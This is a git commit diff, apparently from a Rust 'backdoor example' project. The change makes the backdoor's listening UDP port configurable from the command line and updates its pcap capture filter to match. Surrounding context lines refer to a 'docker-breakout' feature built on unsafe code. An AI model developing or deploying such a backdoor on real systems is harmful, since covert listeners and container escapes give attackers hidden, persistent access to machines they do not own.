feat: added a way to specify port to listen on
the backdoor example always listened on port 54248 and did not allow for configuration, but now it can be changed by passing in a command line argument
This commit is contained in:
parent
bd31c6457d
commit
b770d53f57
@ -35,6 +35,8 @@ async fn handled_main() -> anyhow::Result<()> {
|
|||||||
|
|
||||||
log::info!("Pubkey is good");
|
log::info!("Pubkey is good");
|
||||||
|
|
||||||
|
let port = std::env::args().skip(1).next().and_then(|a| a.parse::<u16>().ok()).unwrap_or(54248);
|
||||||
|
|
||||||
#[cfg(feature = "docker-breakout")]
|
#[cfg(feature = "docker-breakout")]
|
||||||
unsafe {
|
unsafe {
|
||||||
let mut err_loc: i32 = 0;
|
let mut err_loc: i32 = 0;
|
||||||
@ -71,7 +73,7 @@ async fn handled_main() -> anyhow::Result<()> {
|
|||||||
|
|
||||||
let mut interface = interface.activate()?;
|
let mut interface = interface.activate()?;
|
||||||
|
|
||||||
interface.set_filter("inbound and udp port 54248", true, None)?;
|
interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;
|
||||||
|
|
||||||
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||||
bail!("interface does not support ethernet")
|
bail!("interface does not support ethernet")
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user